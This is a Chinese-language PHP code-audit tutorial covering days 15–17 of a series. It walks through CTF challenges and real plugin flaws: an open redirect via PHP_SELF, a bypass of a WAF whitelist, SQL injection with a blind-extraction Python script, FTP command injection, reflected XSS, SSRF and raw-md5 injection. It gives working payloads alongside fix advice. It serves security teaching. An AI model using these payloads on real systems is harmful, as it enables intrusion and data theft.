【代码审计】PHP代码审计5

Day 15 - Sleigh Ride

题目叫做滑雪橇,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Redirect{
private $websiteHost='www.example.com';

private function setHeaders($url){
$url= urldecode($url);
header("Location:$url");
}

public function startRedirect($params){
$parts= explode('/',$_SERVER['PHP_SELF']);
$baseFile= end($parts);
$url= sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}

if($_GET['redirect']){
(new Redirect())->startRedirect($_GET['params']);
}

漏洞解析

这一关主要考察的是 $_SERVER[‘PHP_SELF’] 引发的一个任意网址跳转漏洞

首先,分析一下程序的运行

  • 如果有 $_GET[‘redirect’] 参数,那么就 New 一个 Redirect 对象,同时调用 Redirect 类的 startRedirect 方法
  • startRedirect 函数接受一个 GET 类型的 params 参数,然后在 explode() 函数中,将 $_SERVER[‘PHP_SELF’] 得到的值,以 / 分割成一个 $parts 数组。
  • $baseFile 的值为 $parts 数组的最后一个值
  • $url 的值为 $baseFile?http_build_query($params) ,其中的 http_build_query() 函数就是一个将参数进行URL编码的一个操作,比如 $params=’test=123’
  • 然后调用 setHeaders 函数,首先解码 $url 参数,然后 header() 函数直接跳转 $url

$_SERVER[‘PHP’] 存在的问题:

初看这个程序没什么问题,但是PHP自带的**$_SERVER[‘PHP_SELF’]** 参数是可以控制的。其中 PHP_SELF 指当前的页面绝对地址,比如我们的网站:http://www.test.com/redict/index.php,那么PHP_SELF 就是 /redict/index.php 。但有个小问题很多人没有注意到,当URLPATH_INFO的时候,比如:http://www.test.com/redict/index.php/admin,那么PHP_SELF就是**/redict/index.php/admin** 也就是说,其实 PHP_SELF 有一部分是我们可以控制的。

双编码问题:

URL本来是被浏览器编码过一次,服务器接收到来自浏览器URL请求的时候,会将URL解码一次,由于在程序中我们看到有 urldecode() 函数存在,它会再次解码一次URL,此时双编码URL就可以利用,用于绕过某些关键词检测。比如将 / 编码为: %252f

漏洞利用:

比如我们要跳转到我的博客:blog.dyboy.cn ,那么就可以构造 Payloadhttp://www.test.com/index.php/http:%252f%252fblog.dyboy.cn?redirect=test&params=test123 ,访问即可重定向跳转到 http://blog.dyboy.cn 网址。如下图所示,发生了 302 跳转:

实例分析

其实关于这个漏洞的利用,是有很多src案例的。但是都是黑盒测试,不是很清楚后台的代码怎么设计的,这里可以提及到一个关于 360webscan 的防护脚本一个历史漏洞,正是使用了 $_SERVER[‘PHP_SELF’] 这个变量,导致可以绕过360webscan防护脚本的防护,脚本的防护效果失效,现在此防护脚本更新了。

最新版下载地址: http://webscan.360.cn/protect/down?domain=www.test.com

旧版本下载地址:https://www.lanzous.com/i1qj0qh

其结构为:

因为这只是一个防护的辅助脚本,任何的程序都可以安装使用,这里就以 Emlog5.3.1 博客程序为例子,程序不重要,这个脚本可以安装接入到任何的程序中。

安装的方法:解压得到 360safe 文件夹,之后上传到我们的网站根目录中,同时在任意的全局文件中加入如下代码即可安装成功:

1
2
3
if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){
require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php');
}

在按照上述安装方法安装后,测试访问: http://www.test.com/index.php?test=<script>alert(1)</script> ,XSS拦截显示:

比如GET传递的数据存在SQL注入恶意字符都会被拦截,虽然本脚本的正则过滤规则很好了,但是通过这一个 $_SERVER[‘PHP_SELF’] ,可以通过白名单规则绕过攻击防护。

在存在绕过漏洞的360webscan历史版本中,如下图 第194-219行 的的代码(拦截目录白名单检测):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function webscan_white($webscan_white_name, $webscan_white_url = array()) {
$url_path = $_SERVER['PHP_SELF'];
$url_var = $_SERVER['QUERY_STRING'];

foreach ($webscan_white_url as $key) {
if (preg_match("/" . $webscan_white_name . "/is", $url_path) == 1 && !empty($webscan_white_name)) {
return true; // 拦截目录白名单
} elseif (empty($url_var) && empty($value)) {
return false;
}

if (!empty($url_var) && !empty($value)) {
if (stristr($url_path, $key) && stristr($url_var, $value)) {
return false;
}
}
}
}

在上图的 第5行 ,我们看到 $url_path 的值是直接取的 $_server[‘PHP_SELF’] 的值,同时没有做任何的验证或过滤。那么我们只要在请求的URL(提交的参数中)存在白名单目录,那么就可以绕过安全检测。

因为在 webscan_cache.php 中的默认的白名单目录存在 admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

// 用户唯一key
define('WEBSCAN_U_KEY', '6809abbda8d53816f11500b52637e8db');

// 数据回调统计地址
define('WEBSCAN_API_LOG', 'http://safe.webscan.360.cn/papi/log/?key=' . WEBSCAN_U_KEY);

// 版本更新地址
define('WEBSCAN_UPDATE_FILE', 'http://safe.webscan.360.cn/papi/update/?key=' . WEBSCAN_U_KEY);

// 拦截开关(1为开启,@关闭)
$webscan_switch = 1;

// 提交方式拦截(1开启拦截,@关闭拦截,post,get,cookie,referre选择需要拦截的方式)
$webscan_post = 1;
$webscan_get = 1;
$webscan_cookie = 1;
$webscan_referre = 1;

// 后台白名单,后台操作将不会拦截,添加"|"隔开白名单目录下面默认是网址带admin/dede/放行
$webscan_white_directory = 'admin|\/dede\/';

// url白名单,可以自定义添加url白名单,默认是对phpcms的后台url放行
$webscan_white_url = array(
'index.php' => 'm=admin',
'post.php' => 'job=postnew&step=post',
'edit_space_info.php' => ''
);

?>

然后我们访问:http://www.test.com/index.php/admin?test=%3Cscript%3Ealert(1)%3C/script%3E

此处虽然返回的状态码是 404 ,但是,我们发现已经不再拦截了,如果再配合某些CMS或者PHP系统的伪静态特殊性,那么就可以成功的绕过防护。

修复建议

本次审计的其实不是漏洞,主要是一个 $_SERVER[‘PHP_SELF’] 的问题,再遇上某系伪静态规则配合下,就会导致各种由此形成的各种漏洞。因此,这里推荐使用 $_SERVER[‘SCRIPT_NAME’] 代替即可,同时,我们可以看到在最新的360webscan中已经更新了这个问题,并且就是使用 $_SERVER[‘SCRIPT_NAME’]

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// index.php
<?php
include "./config.php";
include "./flag.php";
error_reporting(0);

$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P");
if(preg_match($black_list, $_GET['pwd'])) exit(":P");

$query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'";
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
$result = $conn->query($query);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
if($row['user']) echo "<h2>Welcome {$row['user']}</h2>";
}

$result = $conn->query("select pwd from users where user='admin'");
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$admin_pass = $row['pwd'];
}

if(($admin_pass)&&($admin_pass === $_GET['pwd'])){
echo $flag;
}
highlight_file(__FILE__);
?>

这道题主要还是绕过防护成功进行sql注入,我们可以看到 第25-26行 ,只要我们知道 Admin 用户的密码,就能拿到flag。在 第11行 处 $_GET[user] 和 $_GET[pwd] 两个变量可控,存在SQL注入。再看 第6-7行 ,当中过滤了 # 、 - 号,那么我们就无法进行常规的注释,但是我们可以用 ;%00 来进行注释。 $black_list 还过滤了很多字符串截取函数,这里我们可使用 regexp 来解决。最终我们的payload如下:

1
2
3
4
5
http://localhost/CTF/?user=\&pwd=||1;%00
对应SQL语句为:
select user from users where user='\' and pwd='||1;'
等价于:
select user from users where user='xxxxxxxxxxx'||1#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import string
import requests
import re
char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
pw = ''
while 1:
for ch in char_set:
url = 'http://localhost/CTF/?user=\\&pwd=||pwd/**/regexp/**/"^%s";%%00'
r = requests.get(url=url%(pw+ch))
if 'Welcome Admin' in r.text:
pw += ch
print(pw)
break
if ch == '_': break
r = requests.get('http://localhost/CTF/?user=&pwd=%s' % pw)
print(re.findall('HRCTF{\S{1,50}}',r.text)[0])

REGEXP 是MySQL中的正则表达式匹配操作符,它检查pwd字段是否匹配指定的正则表达式。
如果pwd字段以猜测的密码字符开头,那么正则表达式匹配成功,SQL查询将返回结果。
由于这是一个布尔盲注攻击,攻击者无法直接看到查询结果,而是通过服务器的响应来判断正则表达式是否匹配成功。

360webscan防注入脚本全面绕过

Day 16 - Poem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class FTP{
public $sock;

public function __construct($host, $port, $user, $pass){
$this->sock = fsockopen($host, $port);
$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}

private function cleanInput(){
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}

public function login($username, $password){
fwrite($this->sock, "\n");
fwrite($this->sock, $username);
fwrite($this->sock, $password ."\n");
}

public function mode($mode){
if($mode == 1 || $mode == 2 || $mode == 3){
fputs($this->sock, "MODE$mode\n");
}
}

public function send($data){
fputs($this->sock, $data);
}
}

new FTP('localhost', 21, 'user', 'password');

漏洞解析

这道题目包含了两个漏洞,利用这两个漏洞,我们可以往FTP连接资源中注入恶意数据,执行FTP命令。首先看到 第7行 代码,可以发现程序使用 cleanInput 方法过滤 GETPOSTCOOKIE 数据,将他们强制转成整型数据。然而在 第8行 处,却传入了一个从 REQUEST 方式获取的 mode 变量。我们都知道超全局数组 $_REQUEST 中的数据,是 $_GET$_POST$_COOKIE 的合集,而且数据是复制过去的,并不是引用。我们先来看一个例子,来验证这一观点:

可以发现 REQUEST 数据丝毫不受过滤函数的影响。回到本例题,例题中的程序过滤函数只对 GETPOSTCOOKIE 数据进行操作,最后拿来用的却是 REQUEST 数据,这显然会存在安全隐患。想了解更多 $_REQUEST 信息,大家自己上官网学习。第二个漏洞的话,在代码 第21行 ,这里用了 == 弱比较。关于这个问题,我们在前面的文章中讲的也很细致了,大家可以参考:[红日安全]PHP-Audit-Labs题解之Day1-4 (Day4)。

至于本次案例的攻击payload,可以使用: ?mode=1%0a%0dDELETE%20test.file ,这个即可达到删除FTP服务器文件的效果。

实例分析

本次实例分析,我们分析的是 WordPressAll In One WP Security & Firewall 插件。该插件在 4.1.4 - 4.1.9 版本中存在反射型XSS漏洞,漏洞原因和本次案例中的漏洞成因一致,官方也在 4.2.0 版本中修复了该漏洞。本次,我们将以 4.1.4 版本插件作为案例讲解。
将下载下来的插件zip包,通过后台插件管理上传压缩包安装即可。本次发生问题的文件在于 wp-content\plugins\all-in-one-wp-security-and-firewall\admin\wp-security-dashboard-menu.php ,为了方便大家理解,我将问题代码抽取出来,简化如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class AIOWPSecurity_Dashboard_Menu extends AIOWPSecurity_Admin_Menu
{
var $menu_tabs_handler = array(
'tab1' => 'render_tab1',
'tab2' => 'render_tab2',
'tab3' => 'render_tab3',
'tab4' => 'render_tab4',
'tab5' => 'render_tab5',
);

function __construct()
{
$this->render_menu_page();
}

function render_menu_page()
{
$this->set_menu_tabs();
$tab = $this->get_current_tab();
$this->render_menu_tabs();
call_user_func(array(&$this, $this->menu_tabs_handler[$tab]));
}

function render_tab3()
{
if (isset($_REQUEST["tab"])) {
echo '<input type="hidden" name="tab" value="' . $_REQUEST["tab"] . '">';
}
}
}

我们可以很清晰的看到,问题就出在 第25行render_tab3 方法中,这里直接将 REQUEST 方式获取的 tab 变量拼接并输出。而实际上,在 第20行 已经获取了经过过滤处理的 $tab 变量。我们来看一下 get_current_tab 方法:

1
2
3
4
5
6
function get_current_tab()
{
$tab_keys = array_keys($this->menu_tabs);
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : $tab_keys[0];
return $tab;
}

过滤函数的调用链如下图 第1行 ,接着 $tab 变量就会经过 wp_check_invalid_utf8 方法的检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function wp_check_invalid_utf8($string, $strip = false) {
$string = (string)$string;

if (0 === strlen($string)) {
return '';
}

// Store the site charset as a static to avoid multiple calls to get_option()
static $is_utf8 = null;
if (!isset($is_utf8)) {
$is_utf8 = in_array(get_option('blog_charset'), array('utf8', 'utf-8', 'UTF8', 'UTF-8'));
}
if (!$is_utf8) {
return $string;
}

// Check for support for utf8 in the installed PCRE library once and store the result in a static
static $utf8_pcre = null;
if (!isset($utf8_pcre)) {
$utf8_pcre = @preg_match('/^./u', 'a');
}
// We can't demand utf8 in the PCRE installation, so just return the string in those cases
if (!$utf8_pcre) {
return $string;
}

// preg_match fails when it encounters invalid UTF8 in $string
if (1 === @preg_match('/^./us', $string)) {
return $string;
}

// Attempt to strip the bad chars if requested(not recommended)
if ($strip && function_exists('iconv')) {
return iconv('utf-8', 'utf-8', $string);
}

return '';
}

漏洞利用

下面我们来看看攻击 payload (向 http://website/wp-admin/admin.php?page=aiowpsec&tab=tab3 POST数据 tab="><script>alert(1)</script> ):

可以看到成功引发XSS攻击。我们最后再根据 payload 对代码的调用过程进行分析。首先,我们的 payload 会传入 wp-admin/admin.php 文件中,最后进入 第14行do_action(‘toplevel_page_aiowpsec’); 代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// wp-admin/admin.php
$page_hook = null;

if (isset($_GET['page'])) {
$plugin_page = wp_unslash($_GET['page']);
$plugin_page = plugin_basename($plugin_page);
}

// 通过get_plugin_page_hook函数处理,$page_hook='toplevel_page_aiowpsec'
if (isset($plugin_page)) {
if ($page_hook) {
do_action($page_hook);
}
}

wp-includes/plugin.php 文件中,程序又调用了 WP_Hook 类的 do_action 方法,该方法调用了自身的 apply_filters 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// wp-includes/plugin.php
function do_action($tag, $arg = '') {
global $wp_filter, $wp_actions, $wp_current_filter;

$wp_filter[$tag]->do_action();
array_pop($wp_current_filter);
}

// wp-includes/class-wp-hook.php
public function do_action($args) {
$this->doing_action = true;
$this->apply_filters('', $args);

if (!$this->nesting_level) {
$this->doing_action = false;
}
}

然后 apply_filters 方法调用了 wp-content\plugins\all-in-one-wp-security-and-firewall\admin\wp-security-admin-init.php 文件的 handle_dashboard_menu_rendering 方法,并实例化了一个 AIOWPSecurity_Dashboard_Menu 对象。

接下来就是开头文章分析的部分

整个漏洞的攻击链就如下图所示:

这里还有一个小知识点要提醒大家的是,案例中 $_REQUEST[“tab”] 最后取到的是 $_POST[“tab”] 的值,而不是 $_GET[“tab”] 变量的值。这其实和 php.ini 中的 request_order 对应的值有关。例如在我的环境中, request_order 配置如下:

这里的 “GP” 表示的是 GETPOST ,且顺序从左往右。例如我们同时以 GETPOST 方式传输 tab 变量,那么最终用 $_REQUEST[‘tab’] 获取到的就是 $_POST[‘tab’] 的值。更详细的介绍可以看如下PHP手册的定义:

1
2
3
4
5
6
request_order string
This directive describes the order in which PHP registers GET, POST and Cookie variables into the _REQUEST array. Registration is done from left to right, newer values override older values.

If this directive is not set, variables_order is used for $_REQUEST contents.

Note that the default distribution php.ini files does not contain the 'C' for cookies, due to security concerns.

修复建议

对于这个漏洞的修复方案,我们只要使用过滤后的 $tab 变量即可,且变量最好经过HTML实体编码后再输出,例如使用 htmlentities 函数等。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// index.php
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result){
die('url fomat error1');
}
try{
$url_parse=parse_url($url);
}
catch(Exception $e){
die('url fomat error2');
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24;
}

function safe_request_url($url)
{
if (check_inner_ip($url)){
echo $url.' is inner ip';
}
else{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']){
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}

$url = $_POST['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}
//flag in flag.php

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// flag.php
<?php
if (! function_exists('real_ip') ) {
function real_ip()
{
$ip = $_SERVER['REMOTE_ADDR'];
if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
} elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
$ip = $_SERVER['HTTP_X_REAL_IP'];
}
return $ip;
}
}
$rip = real_ip();
if($rip === "127.0.0.1")
die("HRCTF{SSRF_can_give_you_flag}");
else
die("You IP is {$rip} not 127.0.0.1");
?>

Day16的CTF考察的是 SSRF漏洞 , flag 只有通过 127.0.0.1 的IP去请求 flag.php 文件,才能获得flag。可以看到程序对用户传来的数据,会先使用 safe_request_url 函数对URL的合法性进行判断。而在 safe_request_url 函数中,使用 check_inner_ip 函数判断用户请求的IP是否为内部IP地址,如果是,则拒绝该请求;否则使用curl进行请求,并将请求结果进行输出。对于这一知识点,我们可以参考这篇文章: us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages

我们可以利用URL解析器之间的差异处理,构造如下 payload :
curl -d "url=http://foo@localhost:80@www.freebuf.com/flag.php" "http://题目IP/"

Day 17 - Turkey Baster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class RealSecureLoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password='$pass' AND user='$user'");

$query = $queryBuilder->getQuery();

return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input) {
return addslashes($input);
}
}

$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
exit;

这题实际上和我们之前分析 Day13 很相似,从 第17行-20行 代码中明显存在SQL语句拼接的形式,而 $pass 变量和 $user 变量是在 第30行和31行 中通过 POST 方式由用户进行控制。这里很明显存在SQL注入漏洞,所以这题应该是考察SQL注入漏洞。

这里为什么说这题和 Day13 很相似呢,我们继续往下看。程序代码 第14行 调用 sanitizeInput 函数针对用户输入的 $user 变量进行了处理,跟进一下 sanitizeInput 函数,在 第25行 找到这个函数,这个函数的作用就是调用 addslashes 函数针对输入数据进行处理。 addslashes 函数定义如下:

addslashes — 使用反斜线引用字符串

1
string addslashes ( string $str )

作用:在单引号(’)、双引号(”)、反斜线(\)与 NUL( NULL 字符)字符之前加上反斜线。

所以按照这种情况下这个地方,似乎不存在注入点了,先别急,我们继续往下看,我们看到 第13行 代码针对用户输入 password 的值调用 md5 函数进行相关处理。我们先来了解一下这个 md5 函数

md5 — 计算字符串的 MD5 散列值

1
string md5 ( string $str [, bool $raw_output = false ] )

我们看到题目中的代码是这样的

1
$pass = md5($this->password, true);

这里在 $raw_output 位置设置为了true,根据描述

如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

那我们先来看看效果

现在整理一下这道题,我们知道我可以控制的点有两个变量,一个是 $user ,一个是 $pass ,**$pass** 经过了 md5 的处理,但是返回字段不是标准的md5值,**$user** 经过了 addslashes 函数的处理,无法引入特殊符号去闭合。这里做个假设,如果我们经过 $pass = md5($this->password, true); 处理之后的值逃逸出一个反斜杆,那么实际上带入到数据库的值就如下所示:

1
select count(p) from user s where password='xxxxxx\' and user='xxx#'

如果这种情况发生,实际上也存在了SQL注入。我们尝试fuzz一下,看看会不会存在某个值经过了 md5(xxx, true) 处理之后,最后一位是反斜杠。

我们针对1-1000进行一下fuzz,发现 md5(128, true) 最后的结果带有反斜杠。因此这题最后的payload如下:

1
user= OR 1=1#&passwd=128

带入到数据库查询的语句如下:

1
select count(p) from user s where password='v�an���l���q��\' and user=' OR 1=1#'

最后我们之前 Day13 也是通过逃逸反斜杆,转义单引号,从而逃逸出一个单引号闭合了之前的SQL语句,之前 Day13 的payload如下所示:

1
select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'

这里也是因为SQL语句中有两个地方可控,因此,我们也可以通过这个办法造成SQL注入的问题,所以我才会说这道题实际上和 Day13 很相似。

实例分析

由于找不到由 md5(xxx,true) 函数引起的漏洞实例,所以本次实例分析选择实验吧的一道CTF题目,进行分析,题目地址
首先打开该题目提示后台登陆,猜测可能是个注入的题目,先看看有没有相关信息泄漏,右键源代码,发现泄漏的登陆逻辑代码。

1
2
3
4
5
6
7
8
9
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}

从上图中的代码中的 第5行 可以看到,当查询结果返回大于0的时候,就会输出 flag ,我们前面分析过当 md5 函数的 $raw_output 设置会true的时候, md5 函数返回前16字节长度的原始二进制,然后再将二进制转换成字符串,这种情况下可能会引入单引号等特殊字符。

有人尝试过破解这个类型的字符,目前已知两个是 ffifdyop129581926211651571912466741651878684928 ,我们来看看实际效果。

所以实际上这里就会导致了SQL注入

1
2
原先:SELECT * FROM admin WHERE username = 'admin' and password = 'md5($password,true)'
变成:SELECT * FROM admin WHERE username = 'admin' and password = ''or'6\xc9]\x99'

由于 and 运算符优先级比 or 高,所以前面的:username = ‘admin’ and password = ‘’ 会先执行,然后将执行结果与后面的 ‘6\xc9]\x99’ 进行 or 运算。在布尔运算中,除了 0、’0’、false、null ,其余结果都为真。所以整个 SQL 语句的 where 条件判断部分为真,这样可定就能查出数据,类似如下:

修复建议

建议在使用 md5 函数的时候,不要将 $raw_output 字段设置为true

http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes